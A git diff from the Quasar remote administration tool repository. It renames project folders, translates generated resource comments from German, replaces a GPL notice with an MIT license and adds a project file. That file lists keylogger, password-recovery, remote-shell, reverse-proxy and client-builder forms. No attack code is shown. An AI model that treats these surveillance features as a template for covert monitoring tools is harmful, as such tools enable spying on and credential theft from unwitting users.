System.Drawing.Bitmap keyboard_delete { get { @@ -231,27 +261,47 @@ internal static System.Drawing.Bitmap keyboard_delete { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap lightning { + internal static System.Drawing.Bitmap keyboard_magnify { get { - object obj = ResourceManager.GetObject("lightning", resourceCulture); + object obj = ResourceManager.GetObject("keyboard_magnify", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized string similar to MIT License + /// + ///Copyright (c) 2023 MaxXor + /// + ///Permission is hereby granted, free of charge, to any person obtaining a copy + ///of this software and associated documentation files (the "Software"), to deal + ///in the Software without restriction, including without limitation the rights + ///to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + ///copies of the Software, and to permit persons to whom the Software is + ///furnished to do so, subject to the following conditions: + /// + ///The above copyright notice [rest of string was truncated]";. /// - internal static System.Drawing.Bitmap logger { + internal static string License { get { - object obj = ResourceManager.GetObject("logger", resourceCulture); + return ResourceManager.GetString("License", resourceCulture); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap lightning { + get { + object obj = ResourceManager.GetObject("lightning", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap monitor { get { @@ -261,177 +311,177 @@ internal static System.Drawing.Bitmap monitor { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap mouse_add { + internal static System.Drawing.Bitmap monitoring { get { - object obj = ResourceManager.GetObject("mouse_add", resourceCulture); + object obj = ResourceManager.GetObject("monitoring", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap mouse_delete { + internal static System.Drawing.Bitmap mouse_add { get { - object obj = ResourceManager.GetObject("mouse_delete", resourceCulture); + object obj = ResourceManager.GetObject("mouse_add", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap refresh { + internal static System.Drawing.Bitmap mouse_delete { get { - object obj = ResourceManager.GetObject("refresh", resourceCulture); + object obj = ResourceManager.GetObject("mouse_delete", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap registry { + internal static System.Drawing.Bitmap page_copy { get { - object obj = ResourceManager.GetObject("registry", resourceCulture); + object obj = ResourceManager.GetObject("page_copy", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap restart { + internal static System.Drawing.Bitmap Quasar_Server { get { - object obj = ResourceManager.GetObject("restart", resourceCulture); + object obj = ResourceManager.GetObject("Quasar_Server", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap run { + internal static System.Drawing.Bitmap refresh { get { - object obj = ResourceManager.GetObject("run", resourceCulture); + object obj = ResourceManager.GetObject("refresh", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap save { + internal static System.Drawing.Bitmap registry { get { - object obj = ResourceManager.GetObject("save", resourceCulture); + object obj = ResourceManager.GetObject("registry", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap server { + internal static System.Drawing.Bitmap restart { get { - object obj = ResourceManager.GetObject("server", resourceCulture); + object obj = ResourceManager.GetObject("restart", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap server_add { + internal static System.Drawing.Bitmap save { get { - object obj = ResourceManager.GetObject("server_add", resourceCulture); + object obj = ResourceManager.GetObject("save", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap server_disconnect { + internal static System.Drawing.Bitmap server { get { - object obj = ResourceManager.GetObject("server_disconnect", resourceCulture); + object obj = ResourceManager.GetObject("server", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap server_link { + internal static System.Drawing.Bitmap server_add { get { - object obj = ResourceManager.GetObject("server_link", resourceCulture); + object obj = ResourceManager.GetObject("server_add", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap server_reconnect { + internal static System.Drawing.Bitmap server_delete { get { - object obj = ResourceManager.GetObject("server_reconnect", resourceCulture); + object obj = ResourceManager.GetObject("server_delete", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap server_uninstall { + internal static System.Drawing.Bitmap server_disconnect { get { - object obj = ResourceManager.GetObject("server_uninstall", resourceCulture); + object obj = ResourceManager.GetObject("server_disconnect", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap shutdown { + internal static System.Drawing.Bitmap server_go { get { - object obj = ResourceManager.GetObject("shutdown", resourceCulture); + object obj = ResourceManager.GetObject("server_go", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap standby { + internal static System.Drawing.Bitmap server_link { get { - object obj = ResourceManager.GetObject("standby", resourceCulture); + object obj = ResourceManager.GetObject("server_link", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap startup_programs { + internal static System.Drawing.Bitmap shutdown { get { - object obj = ResourceManager.GetObject("startup_programs", resourceCulture); + object obj = ResourceManager.GetObject("shutdown", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap task_manager { + internal static System.Drawing.Bitmap standby { get { - object obj = ResourceManager.GetObject("task_manager", resourceCulture); + object obj = ResourceManager.GetObject("standby", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap terminal { get { @@ -441,36 +491,27 @@ internal static System.Drawing.Bitmap terminal { } /// - /// Sucht eine lokalisierte Zeichenfolge, die Quasar - Remote Administration Tool - /// Copyright (C) 2015 MaxX0r - /// - /// Quasar is free software: you can redistribute it and/or modify - /// it under the terms of the GNU General Public License as published by - /// the Free Software Foundation, either version 3 of the License, or - /// (at your option) any later version. - /// - /// Quasar is distributed in the hope that it will be useful, - /// but WITHOUT ANY WARRANTY; without even the implied warranty of - /// MERCHANTABILITY or FITNESS FOR A PARTICULAR PUR [Rest der Zeichenfolge wurde abgeschnitten]"; ähnelt. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static string TermsOfUse { + internal static System.Drawing.Bitmap textfield_rename { get { - return ResourceManager.GetString("TermsOfUse", resourceCulture); + object obj = ResourceManager.GetObject("textfield_rename", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap textfield_rename { + internal static System.Drawing.Bitmap transmit_blue { get { - object obj = ResourceManager.GetObject("textfield_rename", resourceCulture); + object obj = ResourceManager.GetObject("transmit_blue", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap uac_shield { get { @@ -480,17 +521,17 @@ internal static System.Drawing.Bitmap uac_shield { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap upload { + internal static System.Drawing.Bitmap user { get { - object obj = ResourceManager.GetObject("upload", resourceCulture); + object obj = ResourceManager.GetObject("user", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap world_go { get { @@ -500,7 +541,7 @@ internal static System.Drawing.Bitmap world_go { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap world_link { get { @@ -508,15 +549,5 @@ internal static System.Drawing.Bitmap world_link { return ((System.Drawing.Bitmap)(obj)); } } - - /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. - /// - internal static System.Drawing.Bitmap Quasar_Server { - get { - object obj = ResourceManager.GetObject("Quasar_Server", resourceCulture); - return ((System.Drawing.Bitmap)(obj)); - } - } } } diff --git a/Server/Properties/Resources.resx b/Quasar.Server/Properties/Resources.resx similarity index 67% rename from Server/Properties/Resources.resx rename to Quasar.Server/Properties/Resources.resx index 5c58fb903..8363e61e6 100644 --- a/Server/Properties/Resources.resx +++ b/Quasar.Server/Properties/Resources.resx @@ -119,154 +119,167 @@ - ..\Resources\restart.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\restart.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\server-add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\server_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\images\startup_programs.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Images\application_cascade.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\lightning.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\lightning.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\Resources\shutdown.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\shutdown.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\mouse_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\task-manager.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\mouse_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\Resources\actions.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\actions.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\refresh.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\refresh.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\world_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\world_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\terminal.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\terminal.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\keyboard_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\upload.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\copy.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\keyboard_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\key_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\key_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\cancel.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\cancel.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\world_link.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\world_link.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\user.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\Resources\textfield_rename.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\textfield_rename.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\monitoring.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\uac-shield.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\uac_shield.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\server_link.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\server_link.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\broom.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\images\server-uninstall.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Images\server_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\computer.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\computer.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\monitor.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\monitor.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\images\server-reconnect.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Images\server_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\application_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\application_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - Quasar - Remote Administration Tool - Copyright (C) 2015 MaxX0r - - Quasar is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Quasar is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see <http://www.gnu.org/licenses/>. - - By using this product you agree to everything specified above. + + ..\Images\cog.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\drive_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\drive_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\folder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\folder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\bricks.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\download.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\bricks.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\Resources\standby.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\standby.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + MIT License + +Copyright (c) 2023 MaxXor + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. - ..\images\mouse_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\mouse_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\icons\Quasar_Server.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Images\transmit_blue.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\Resources\delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\eye.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\save.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\save.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\application_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\application_delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\keyboard_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\keyboard_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\images\logger.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Images\Icons\Quasar_Server.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\images\run.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Images\keyboard_magnify.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\registry.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\registry.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\server-disconnect.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\server_disconnect.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\server.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\server.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\information.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\Images\information.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\images\broom.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Images\application_edit.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\application_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\arrow_down.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\arrow_up.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Images\page_copy.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a \ No newline at end of file diff --git a/Client/Properties/Settings.Designer.cs b/Quasar.Server/Properties/Settings.Designer.cs similarity index 74% rename from Client/Properties/Settings.Designer.cs rename to Quasar.Server/Properties/Settings.Designer.cs index 7c3ac0c66..7c0673111 100644 --- a/Client/Properties/Settings.Designer.cs +++ b/Quasar.Server/Properties/Settings.Designer.cs @@ -1,18 +1,18 @@ //------------------------------------------------------------------------------ // -// Dieser Code wurde von einem Tool generiert. -// Laufzeitversion:4.0.30319.42000 +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 // -// Änderungen an dieser Datei können falsches Verhalten verursachen und gehen verloren, wenn -// der Code erneut generiert wird. +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. // //------------------------------------------------------------------------------ -namespace xClient.Properties { +namespace Quasar.Server.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "12.0.0.0")] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.8.0.0")] internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); diff --git a/Server/Properties/Settings.settings b/Quasar.Server/Properties/Settings.settings similarity index 100% rename from Server/Properties/Settings.settings rename to Quasar.Server/Properties/Settings.settings diff --git a/Quasar.Server/Quasar.Server.csproj b/Quasar.Server/Quasar.Server.csproj new file mode 100644 index 000000000..02d826586 --- /dev/null +++ b/Quasar.Server/Quasar.Server.csproj @@ -0,0 +1,319 @@ + + + net452 + WinExe + Quasar + true + false + + + Quasar.Server.Program + + + Images\Icons\Quasar_Server.ico + + + app.manifest + + + ..\bin\Debug\ + true + false + MinimumRecommendedRules.ruleset + + + ..\bin\Release\ + true + none + false + MinimumRecommendedRules.ruleset + + + + + + + + + Component + + + Component + + + Component + + + Component + + + Component + + + Component + + + WordTextBox.cs + + + Form + + + FrmCertificate.cs + + + Form + + + FrmAbout.cs + + + Form + + + FrmStartupAdd.cs + + + Form + + + FrmBuilder.cs + + + Form + + + FrmConnections.cs + + + Form + + + FrmFileManager.cs + + + Form + + + FrmKeylogger.cs + + + Form + + + FrmMain.cs + + + Component + + + Form + + + FrmPasswordRecovery.cs + + + Form + + + FrmRegistryEditor.cs + + + Form + + + FrmRegValueEditBinary.cs + + + Form + + + FrmRegValueEditMultiString.cs + + + Form + + + FrmRegValueEditString.cs + + + Form + + + FrmRegValueEditWord.cs + + + Form + + + FrmRemoteDesktop.cs + + + Form + + + FrmRemoteShell.cs + + + Form + + + FrmReverseProxy.cs + + + Form + + + FrmSettings.cs + + + Form + + + FrmShowMessagebox.cs + + + Form + + + FrmStartupManager.cs + + + Form + + + FrmSystemInformation.cs + + + Form + + + FrmTaskManager.cs + + + Form + + + FrmVisitWebsite.cs + + + Form + + + FrmRemoteExecution.cs + + + FrmAbout.cs + + + FrmCertificate.cs + + + FrmStartupAdd.cs + + + FrmBuilder.cs + + + FrmConnections.cs + + + FrmFileManager.cs + + + FrmKeylogger.cs + + + FrmMain.cs + Designer + + + FrmPasswordRecovery.cs + + + FrmRegistryEditor.cs + + + FrmRegValueEditBinary.cs + + + FrmRegValueEditMultiString.cs + + + FrmRegValueEditString.cs + + + 